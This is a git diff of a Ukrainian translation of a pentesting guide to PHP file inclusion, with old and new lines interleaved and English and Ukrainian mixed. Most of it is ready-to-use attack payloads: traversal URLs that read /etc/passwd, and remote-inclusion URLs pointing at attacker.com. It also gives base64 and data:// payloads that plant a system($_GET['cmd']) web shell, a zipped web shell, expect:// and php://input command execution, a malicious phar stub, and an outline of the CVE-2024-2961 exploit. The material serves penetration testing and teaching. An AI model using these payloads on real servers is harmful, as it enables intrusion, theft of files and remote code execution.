- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)

View File

@ -4,16 +4,16 @@
## File Inclusion
**Remote File Inclusion (RFI):** file завантажується з віддаленого server (Найкраще: Ви можете написати code і server його виконає). У php це за замовчуванням **відключено** (**allow_url_include**).\
**Local File Inclusion (LFI):** server завантажує local file.
**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Найкраще: ви можете записати код, і сервер його виконає). У php це **відключено** за замовчуванням (**allow_url_include**).\
**Local File Inclusion (LFI):** Сервер завантажує локальний файл.
Вразливість виникає, коли користувач якимось чином може контролювати file, який server збирається завантажити.
Уразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажений сервером.
Уразливі **PHP functions**: require, require_once, include, include_once
Уразливі **PHP функції**: require, require_once, include, include_once
Корисний інструмент для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Цікавий інструмент для експлуатації цієї уразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
## Blind - Interesting - LFI2RCE файли
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
@ -21,6 +21,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
**Змішавши кілька \*nix LFI списків і додавши більше шляхів, я створив цей:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
@ -28,11 +29,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
Спробуйте також замінити `/` на `\`\
Спробуйте також додати `../../../../../`
Список, який використовує кілька технік для пошуку файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Список, що використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Об'єднання різних wordlists:
Злиття різних wordlists:
{{#ref}}
@ -42,19 +43,19 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
Спробуйте також замінити `/` на `\`\
Спробуйте також видалити `C:/` і додати `../../../../../`
Список, який використовує кілька технік для пошуку файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Список, що використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Перевірте LFI список linux.
Перевірте список LFI для linux.
## Основи LFI та обхідні методи
## Основи LFI та обходи
Усі приклади стосуються Local File Inclusion, але також можуть застосовуватися до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
Усі приклади стосуються Local File Inclusion, але також можуть бути застосовані до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences, обрізані нерекурсивно
### послідовності обходу видаляються нерекурсивно
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -62,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass додавання додаткових символів у кінець наданого рядка (bypass of: $\_GET\['param']."php")
Обхід додавання додаткових символів у кінець переданого рядка (обхід: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -70,51 +71,51 @@ http://example.com/index.php?page=../../../etc/passwd%00
### **Кодування**
Ви можете використовувати нестандартні кодування, такі як double URL encode (та інші):
Ви можете використовувати нестандартні кодування, такі як double URL encode (і інші):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### З існуючої папки
### З наявної папки
Можливо, back-end перевіряє шлях до папки:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Дослідження File System Directories on a Server
### Дослідження директорій файлової системи на сервері
File system of a server можна рекурсивно досліджувати, щоб виявляти directories, а не лише files, застосовуючи певні techniques. Цей процес передбачає визначення directory depth та перевірку існування конкретних folders. Нижче наведено детальний метод для цього:
Файлову систему сервера можна досліджувати рекурсивно, щоб ідентифікувати директорії, а не лише файли, застосовуючи певні техніки. Цей процес включає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для цього:
1. **Визначте Directory Depth:** Визначте глибину вашої поточної directory, успішно отримавши файл `/etc/passwd` (застосовується, якщо server — Linux-based). Приклад URL може бути структурований таким чином, вказуючи depth 3:
1. **Determine Directory Depth:** Визначте глибину вашої поточної директорії, успішно отримавши файл `/etc/passwd` (підходить, якщо сервер на базі Linux). Приклад URL може бути структурований таким чином, що вказує глибину три:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Перевірте папки:** Додайте назву підозрілої папки (наприклад, `private`) до URL, потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на одиницю:
2. **Перевірка папок:** Додайте назву підозрілої папки (наприклад, `private`) до URL, а потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на одиницю:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка:
- **Error / No Output:** Папка `private` ймовірно не існує в зазначеному місці.
- **Contents of `/etc/passwd`:** Наявність папки `private` підтверджено.
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи той самий прийом або традиційні методи Local File Inclusion (LFI).
3. **Інтерпретуйте результати:** Відповідь сервера вказує, чи існує папка:
- **Помилка / Відсутній вивід:** Папка `private`, ймовірно, не існує в указаному місці.
- **Вміст `/etc/passwd`:** Наявність папки `private` підтверджується.
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевірити на наявність підкаталогів або файлів, використовуючи ту саму техніку або традиційні методи Local File Inclusion (LFI).
Для дослідження каталогів у різних місцях файлової системи відповідно відкоригуйте payload. Наприклад, щоб перевірити, чи містить `/var/www/` каталог `private` (припускаючи, що поточний каталог знаходиться на глибині 3), використовуйте:
Для дослідження директорій у різних розташуваннях файлової системи відкоригуйте payload відповідно. Наприклад, щоб перевірити, чи містить `/var/www/` папку `private` (припускаючи, що поточна директорія знаходиться на глибині 3), використовуйте:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation є методом, який застосовується для маніпуляції файловими шляхами в веб‑додатках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів до файлів. Мета — створити шлях до файлу, який після змін, внесених заходом безпеки, все ще вказуватиме на потрібний файл.
Path truncation — це метод, який застосовується для маніпуляції шляхами файлів у вебзастосунках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи наприкінці шляху файлу. Мета — сформувати шлях до файлу, який після змін завдяки заходу безпеки все одно вказуватиме на потрібний файл.
У PHP різні представлення шляху до файлу можуть вважатися еквівалентними через особливості файлової системи. Наприклад:
У PHP різні подання шляху файлу можуть розглядатися як еквівалентні через природу файлової системи. Наприклад:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` всі трактуються як один і той самий шлях.
- Коли останні 6 символів — `passwd`, додавання `/` (тобто `passwd/`) не змінює цільовий файл.
- Аналогічно, якщо до шляху додається `.php` (наприклад `shellcode.php`), додавання `/.` у кінці не змінить файл, до якого здійснюється доступ.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, та `/etc/passwd/` усі вважаються тим самим шляхом.
- Коли останні 6 символів — `passwd`, додавання `/` (утворюючи `passwd/`) не змінює цільовий файл.
- Подібно, якщо до шляху файлу додається `.php` (наприклад `shellcode.php`), додавання `/.` наприкінці не змінить файл, до якого відбувається доступ.
Наведені приклади показують, як використовувати path truncation для доступу до `/etc/passwd`, який часто стає мішенню через чутливий вміст (інформація про облікові записи користувачів):
Наведені приклади демонструють, як використовувати path truncation для доступу до `/etc/passwd`, що є поширеною ціллю через його чутливий вміст (інформація про облікові записи користувачів):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -124,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
У цих сценаріях кількість traversals, що потрібні, може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.
У цих сценаріях кількість необхідних traversals може бути близько 2027, але це число може змінюватися залежно від конфігурації сервера.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) у поєднанні з додатковими dot segments і символами можуть використовуватися для навігації файловою системою, фактично ігноруючи додані сервером рядки.
- **Determining the Required Number of Traversals**: За методом спроб і помилок можна знайти точну кількість `../` послідовностей, щоб дістатися до кореневого каталогу, а потім до `/etc/passwd`, забезпечивши нейтралізацію будь‑яких доданих рядків (наприклад, `.php`), але збереження бажаного шляху (`/etc/passwd`).
- **Starting with a Fake Directory**: Загальноприйнята практика — починати шлях з неіснуючого каталогу (наприклад, `a/`). Ця техніка використовується як запобіжний захід або щоб виконати вимоги логіки розбору шляху сервером.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) у поєднанні з додатковими dot segments та символами можуть використовуватися для навігації файловою системою, ефективно ігноруючи рядки, що додаються сервером.
- **Determining the Required Number of Traversals**: Методом спроб і помилок можна визначити точну кількість `../` послідовностей, необхідних для переходу до кореневого каталогу, а потім до `/etc/passwd`, при цьому нейтралізуючи будь-які додані рядки (наприклад, `.php`), але бажаний шлях (`/etc/passwd`) залишається недоторканим.
- **Starting with a Fake Directory**: Поширеною практикою є починати шлях з неіснуючого каталогу (наприклад, `a/`). Ця техніка використовується як пересторога або щоб задовольнити вимоги логіки розбору шляху сервером.
При застосуванні path truncation techniques важливо розуміти поведінку парсера шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати іншого підходу, і часто необхідне тестування, щоб знайти найефективніший метод.
When employing path truncation techniques, важливо розуміти поведінку парсера шляху сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідне тестування, щоб знайти найефективніший метод.
**This vulnerability was corrected in PHP 5.3.**
**Ця вразливість була виправлена в PHP 5.3.**
### **Filter bypass tricks**
```
@ -144,19 +145,19 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
У php це за замовчуванням вимкнено, оскільки **`allow_url_include`** — **Off.** Потрібно, щоб він був **On**, щоб це працювало, і в такому випадку ви могли б включити PHP файл зі свого сервера та отримати RCE:
У php це вимкнено за замовчуванням, тому що **`allow_url_include`** встановлено як **Off.** Воно має бути **On**, щоб працювати, і в такому випадку ви можете включити PHP файл з вашого сервера та отримати RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Якщо з якоїсь причини **`allow_url_include`** **увімкнено**, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), можна, наприклад, використати data-протокол з base64, щоб декодувати b64 PHP-код і отримати RCE:
Якщо з якоїсь причини **`allow_url_include`** встановлено в **On**, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви, наприклад, можете використати data protocol з base64, щоб декодувати b64 PHP code і egt RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> У попередньому коді фінальний `+.txt` було додано, тому що зловмиснику потрібен був рядок, який закінчувався на `.txt`, тож рядок закінчується ним, і після b64 декодування ця частина поверне лише сміття, а реальний PHP-код буде включено (і, отже, виконано).
Ще один приклад **без використання протоколу `php://`**:
> У попередньому коді фінальний `+.txt` було додано, бо атакуючому потрібен був рядок, який закінчується на `.txt`, тож рядок завершується ним і після b64 decode ця частина поверне лише сміття, а реальний PHP код буде включено (і, отже, виконано).
>
> Ще один приклад **not using the `php://` protocol**:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
@ -167,22 +168,22 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Якщо користувач передає **абсолютний шлях** до **`file_name`**, **попередній шлях просто видаляється**:
Якщо користувач передає **absolute path** до **`file_name`**, **previous path is just removed**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Це очікувана поведінка згідно з [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Якщо компонент є абсолютним шляхом, усі попередні компоненти відкидаються, і об’єднання продовжується від компонента з абсолютним шляхом.
> Якщо компонент є абсолютним шляхом, всі попередні компоненти відкидаються, і об'єднання продовжується з абсолютного компоненту шляху.
## Java: перелік директорій
## Java перелік директорій
Здається, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, повертається **перелік вмісту директорії**. Це не відбуватиметься в інших мовах (наскільки мені відомо).
Схоже, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, повертається **перелік вмісту директорії**. Це не відбувається в інших мовах (наскільки мені відомо).
## Топ 25 параметрів
Ось список топ-25 параметрів, які можуть бути вразливі до local file inclusion (LFI) [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Ось список топ 25 параметрів, які можуть бути вразливі до local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -210,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
?mod={payload}
?conf={payload}
```
## LFI / RFI за допомогою PHP wrappers & протоколів
## LFI / RFI using PHP wrappers & protocols
### php://filter
Фільтри PHP дозволяють виконувати базові **операції модифікації над даними** перед тим, як вони будуть прочитані або записані. Існує 5 категорій фільтрів:
PHP filters allow perform basic **modification operations on the data** before being it's read or written. Існує 5 категорій фільтрів:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Видаляє теги з даних (все, що знаходиться між символами "<" та ">" )
- `string.strip_tags`: Видаляє теги з даних (все, що між символами "<" і ">")
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Перетворює в іншу кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список усіх підтримуваних кодувань**, виконайте в консолі: `iconv -l`
- `convert.iconv.*` : Перетворює в інше кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список всіх кодувань**, що підтримуються, запустіть у консолі: `iconv -l`
> [!WARNING]
> Зловживаючи фільтром конверсії `convert.iconv.*`, ви можете **генерувати довільний текст**, що може бути корисним для запису довільного тексту або змусити функцію типу include обробляти довільний текст. Для додаткової інформації перегляньте [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Зловживаючи фільтром конверсії `convert.iconv.*`, ви можете **згенерувати довільний текст**, що може бути корисним для запису довільного тексту або для того, щоб функція типу include опрацювала довільний текст. Для докладнішої інформації див. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Стискає вміст (корисно при ексфільтрації великої кількості інформації)
- `zlib.deflate`: Стискає вміст (корисно при екфільтрації великої кількості даних)
- `zlib.inflate`: Розпаковує дані
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Застаріле
- `mdecrypt.*` : Застаріле
- Other Filters
- Запустивши в PHP `var_dump(stream_get_filters());`, ви можете знайти кілька **неочікуваних фільтрів**:
- Запустивши в php `var_dump(stream_get_filters());` ви можете знайти кілька **неочікуваних фільтрів**:
- `consumed`
- `dechunk`: скасовує HTTP chunked encoding
- `dechunk`: зворотно декодує HTTP chunked encoding
- `convert.*`
```php
# String Filters
@ -274,21 +275,21 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### Використання php filters як oracle для читання довільних файлів
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) запропонована техніка для читання локального файлу без отримання виводу від сервера. Ця техніка базується на **boolean exfiltration of the file (char by char) using php filters** як oracle. Це тому, що php filters можна використати, щоб зробити текст достатньо великим, щоб php кинув виняток.
[**У цьому дописі**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) запропоновано техніку читання локального файлу без повернення його вмісту від сервера. Ця техніка базується на **булевій ексфільтрації файлу (по символу) з використанням php filters як oracle**. Це можливо, оскільки php filters можуть бути використані для збільшення тексту настільки, щоб php кинув виняток.
В оригінальному дописі можна знайти детальне пояснення техніки, але тут — коротке резюме:
В оригінальному дописі є детальне пояснення техніки, а тут — швидкий підсумок:
- Використати кодек **`UCS-4LE`** щоб залишити провідний символ тексту на початку і змусити розмір рядка зростати експоненційно.
- Це буде використано для генерації **text so big when the initial letter is guessed correctly**, який, якщо початкова літера вгадана правильно, буде настільки великий, що php спричинить **помилку**.
- Фільтр **dechunk** **видалить усе, якщо перший символ не є шістнадцятковим**, тому можна дізнатися, чи перший символ є hex.
- Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить вгадувати літеру на початку тексту, спостерігаючи, коли достатньо трансформацій зроблять її не шістнадцятковим символом. Тому що, якщо це hex, dechunk не видалить її і початкова «бомба» спричинить php помилку.
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (тому після цього кодека: a -> b). Це дозволяє виявити, чи перша літера — наприклад, `a`, бо якщо застосувати 6 разів цей кодек: a->b->c->d->e->f->g, літера перестає бути шістнадцятковим символом, отже dechunk не видаляє її і php помилка спрацьовує через множення з початковою «бомбою».
- Використовуючи інші трансформації, такі як **rot13** на початку, можна leak інші символи, наприклад n, o, p, q, r (і інші кодеки можна використати, щоб перемістити інші літери в hex-діапазон).
- Використовуйте кодек **`UCS-4LE`** щоб залишити провідний символ тексту на початку та змусити довжину рядка зростати експоненційно.
- Це використовується, щоб згенерувати **дуже великий текст, коли початкову літеру вгадано правильно**, внаслідок чого php викличе **помилку**.
- Фільтр **dechunk** **видалить усе, якщо перший символ не є hex**, тому ми можемо дізнатися, чи перший символ — hex.
- Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить нам вгадувати літеру на початку тексту, спостерігаючи, коли після достатньої кількості трансформацій вона перестане бути hex-символом. Бо якщо вона hex, dechunk її не видалить, а початкова бомба спричинить помилку php.
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (тобто після застосування кодека: a -> b). Це дозволяє визначити, чи перша літера, наприклад, `a`, бо якщо застосувати цей кодек 6 разів: a->b->c->d->e->f->g, літера перестане бути hex-символом, отже dechunk її не видаляє і виникає помилка php через множення з початковою бомбою.
- Використовуючи інші трансформації, такі як **rot13** на початку, можливо leak інші символи, наприклад n, o, p, q, r (і інші кодеки можна використати, щоб зсунути інші літери в hex-діапазон).
- Коли початковий символ — число, потрібно закодувати його в base64 і leak перші 2 літери, щоб leak число.
- Остаткова проблема — зрозуміти **how to leak more than the initial letter**. Використовуючи фільтри порядку пам'яті, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можливо змінити порядок символів і отримати на першій позиції інші літери тексту.
- І щоб мати змогу отримати **further data**, ідея полягає в тому, щоб **generate 2 bytes of junk data at the beginning** за допомогою **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб це **pivot with the next 2 bytes**, і **delete the data until the junk data** (це видалить перші 2 байти початкового тексту). Продовжуйте робити це, поки не дійдете до потрібного біта для leak.
- Остаточна проблема — зрозуміти **як leak більше, ніж початкова літера**. Використовуючи фільтри, що змінюють порядок байтів, наприклад **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можна змінити порядок символів і помістити в першу позицію інші літери тексту.
- І щоб мати змогу отримати **further data** ідея полягає в тому, щоб **generate 2 bytes of junk data at the beginning** за допомогою **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE** щоб воно **pivot with the next 2 bytes**, та d**elete the data until the junk data** (це видалить перші 2 байти початкового тексту). Продовжуйте робити це, доки не досягнете бажаного біта для leak.
У дописі також був leaked інструмент для автоматизації: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
У дописі також було опубліковано інструмент для автоматизації: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
@ -297,12 +298,12 @@ This wrapper allows to access file descriptors that the process has open. Potent
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Ви також можете використовувати **php://stdin, php://stdout and php://stderr** для доступу до **file descriptors 0, 1 and 2** відповідно (не впевнений, як це може бути корисним у атаці)
You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (не зовсім зрозуміло, як це може бути корисно в атаці)
### zip:// and rar://
Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.\
Щоб мати змогу зловживати rar protocol, він **потребує спеціальної активації**.
Завантажте Zip або Rar файл з PHPShell всередині і отримайте до нього доступ.\
Щоб мати змогу зловживати rar protocol, його **потрібно спеціально активувати**
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -327,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Зверніть увагу, що цей протокол обмежується налаштуваннями php **`allow_url_open`** та **`allow_url_include`**
Зверніть увагу, що цей протокол обмежений конфігураціями php **`allow_url_open`** і **`allow_url_include`**
### expect://
Expect має бути активовано. Ви можете виконувати код за допомогою цього:
Expect має бути активовано. Ви можете виконати код за допомогою цього:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Вкажіть свій payload у POST параметрах:
Вкажіть ваш payload у параметрах POST:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Файл `.phar` може бути використаний для виконання PHP-коду, коли веб‑додаток використовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу `.phar`:
Файл `.phar` може бути використаний для виконання PHP-коду, коли веб-застосунок використовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -353,15 +354,21 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Щоб скомпілювати файл `.phar`, слід виконати наступну команду:
Щоб скомпілювати файл `.phar`, потрібно виконати таку команду:
```bash
php --define phar.readonly=0 create_path.php
```
Після виконання буде створено файл з ім'ям `test.phar`, який потенційно може бути використаний для експлуатації вразливостей Local File Inclusion (LFI).
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
Якщо LFI лише читає файл без виконання PHP-коду всередині — наприклад через функції `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` або `filesize()` — можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів з використанням протоколу `phar`.
Після виконання буде створено файл з ім'ям `test.phar`, який потенційно може бути використаний для експлуатації Local File Inclusion (LFI) вразливостей.
Для детального розуміння експлуатації вразливостей десеріалізації у контексті файлів `.phar` зверніться до документа, що наведений нижче:
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
У випадках, коли LFI лише читає файл без виконання PHP-коду всередині, через такі функції, як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів через протокол `phar`.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
Для детального розуміння експлуатації вразливостей десеріалізації у контексті `.phar` файлів, зверніться до документу, наведеного нижче:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -372,74 +379,97 @@ phar-deserialization.md
### CVE-2024-2961
Було можливо зловживати **будь-яким довільним читанням файлу з PHP, яке підтримує php filters**, щоб отримати RCE. Детальний опис можна [**знайти в цьому дописі**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1).\
Дуже коротке резюме: **3 byte overflow** в heap PHP було використано, щоб **змінити ланцюг вільних чанків** певного розміру, щоб мати можливість **записати що завгодно в будь-яку адресу**, тому було додано хук для виклику **`system`**.\
Було можливо алоціювати чанки певних розмірів, зловживаючи додатковими php filters.
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters.
Було можливо зловживати **any arbitrary file read from PHP that supports php filters**, щоб отримати RCE. Детальний опис можна [**знайти в цьому дописі**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Короткий підсумок: **3 byte overflow** в PHP heap був використаний, щоб **змінити ланцюг вільних чанків** певного розміру з метою мати змогу **записати будь-що за будь-якою адресою**, тому додали хук для виклику **`system`**.\
Було можливо алокувати чанки певних розмірів, зловживаючи додатковими php filters.
### More protocols
Перегляньте більше можливих[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Інші протоколи
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам'ять або тимчасовий файл (не впевнений, як це може бути корисно в атаці file inclusion)
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Перегляньте більше можливих [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам'ять або у тимчасовий файл (не впевнений, як це може бути корисно в a file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL-ів
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL-ів
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Потоки стиснення
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Пошук імен шляхів, що відповідають шаблону (не повертає нічого друкованого, тому не дуже корисно тут)
